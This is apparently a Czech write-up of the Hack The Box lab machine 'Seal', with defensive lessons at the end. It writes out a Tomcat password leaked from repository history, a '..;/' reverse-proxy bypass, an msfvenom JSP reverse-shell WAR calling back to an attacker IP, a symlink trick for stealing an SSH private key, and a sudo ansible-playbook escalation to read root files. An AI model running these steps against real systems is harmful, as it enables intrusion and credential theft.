Seal
Úvod a kontext
Seal spojuje hned několik infrastrukturních detailů, které samy o sobě nemusí vypadat kriticky: interní repozitář na portu 8080, Tomcat Manager za reverse proxy, zálohovací playbook spouštěný přes ansible a nakonec příliš široké sudo nad ansible-playbook.
Právě proto je tenhle stroj užitečný didakticky. První shell nevznikl klasickou webovou zranitelností v aplikaci, ale z uniklých Tomcat přihlašovacích údajů v repozitářové historii. Další pivot pak nevedl přes heslo, ale přes zálohu, která kopírovala symlinky. Bezpečnostní význam podobného trust chainu rozebírám i v článku Repozitář, historie konfigurace a deployment trust.
Počáteční průzkum
Vyhledání otevřených portů
Síťový scan ukázal SSH, veřejný web na 443 a interněji působící službu na 8080.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//)
echo $ports
nmap -p $ports -A -sC -sV -v $IP
22/tcp open ssh
443/tcp open ssl/http nginx 1.18.0
8080/tcp open http-proxy
Dir bruteforce na veřejném webu rychle ukázal stopy po Tomcat manageru:
dirsearch -u https://seal.htb -e php -x 403 -r
/host-manager/
/manager/
/manager/status/all
To je samo o sobě zajímavé, ale ještě ne dostatečné. Důležitější byly přihlašovací údaje.
Analýza zjištění
Uniklý tomcat-users.xml v historii repozitáře
Na službě na portu 8080 šlo procházet historii projektu seal_market. Jeden commit obsahoval část tomcat-users.xml:
<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
To je přesně typ tajemství, který se v repozitáři objeví „jen na chvíli“, ale i jediný commit stačí. Získané heslo pak šlo použít proti Tomcat Manageru.
Bypass reverse proxy k Manageru
Manager nebyl vystavený přímo, ale šel obejít přes známý pattern s ..;/ v cestě za reverse proxy. Přesně takové chyby v důvěře mezi proxy a backendem rozebírám i v článku SSRF, reverse proxy a localhost trust assumptions:
https://seal.htb/manager/status/..;/html
Tím se otevřelo rozhraní, do kterého šly použít uniklé údaje tomcat / 42MrHBf*z8{Z%}.
Získání přístupu
WAR shell jako tomcat
Jakmile byl Manager dostupný, šlo nasadit standardní WAR payload:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.11 LPORT=4000 -f war > rev.war
Po uploadu do Tomcat Manageru se vrátil shell v kontextu uživatele tomcat.
Zálohovací playbook a klíč uživatele luis
Lokální průzkum ukázal pravidelně spouštěný proces:
/bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml
Samotný playbook obsahoval pro root/user pivot nejdůležitější řádek:
synchronize:
src: /var/lib/tomcat9/webapps/ROOT/admin/dashboard
dest: /opt/backups/files
copy_links: yes
copy_links: yes znamená, že symlink nebude archivovaný jako symlink, ale jeho cíl se skutečně zkopíruje. To otevřelo elegantní cestu ke klíči uživatele luis:
ln -s /home/luis/.ssh/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
cp /opt/backups/archives/* /tmp/
gzip -dk /tmp/backup*
tar xvf /tmp/backup
cat dashboard/uploads/.ssh/id_rsa
Tím se z veřejného Tomcat shellu stal stabilní SSH přístup:
ssh -i id_rsa luis@seal.htb
Eskalace oprávnění
sudo nad ansible-playbook
Účet luis měl k dispozici:
sudo -l
(ALL) NOPASSWD: /usr/bin/ansible-playbook *
To je velmi silné oprávnění, protože playbook může číst a zapisovat lokální soubory jako root. Minimální varianta pro získání root.txt vypadala takto:
- hosts: localhost
tasks:
- name: Copy Files
copy:
src: /root/root.txt
dest: /tmp/
delegate_to: localhost
- name: Change file ownership, group and permissions
ansible.builtin.file:
path: /tmp/root.txt
owner: luis
group: luis
mode: '0600'
sudo /usr/bin/ansible-playbook /tmp/run.yml
cat /tmp/root.txt
Tím byl potvrzen plný root přístup.
Shrnutí klíčových poznatků
- První shell vznikl z úniku
tomcat-users.xmlv historii repozitáře a z následného přístupu do Tomcat Manageru přes reverse-proxy bypass. - Přechod z
tomcatnaluisnevyužil další heslo, ale chybu v zálohovacím playbooku, který kopíroval obsah symlinků z webrootu. - Root fázi pak otevřelo příliš široké
sudonadansible-playbook, tedy v praxi možnost spustit vlastní root playbook.
Co si odnést do praxe
- Tajemství v historii repozitáře jsou stále tajemství, i když už v aktuálním commitu nejsou. Jakmile se v Gitu objeví
tomcat-users.xml, heslo je potřeba považovat za kompromitované. - Zálohovací a synchronizační úlohy musí být navržené s ohledem na symlinky. Přepínače typu
copy_linksčasto promění běžnou údržbu v tichý file-read primitive. sudonad konfiguračním a automatizačním nástrojem jakoansible-playbookje téměř vždy přímý root. Pokud je takové pravidlo nezbytné, musí být omezené na konkrétní playbook a vstupy.
Další související články
HTB Stroje
Techniky
- PATH, PYTHONPATH a wrapper hijack
- Insecure deserialization napříč stacky
- Nebezpečné uploady: polygloty, WAR deploy a plugin upload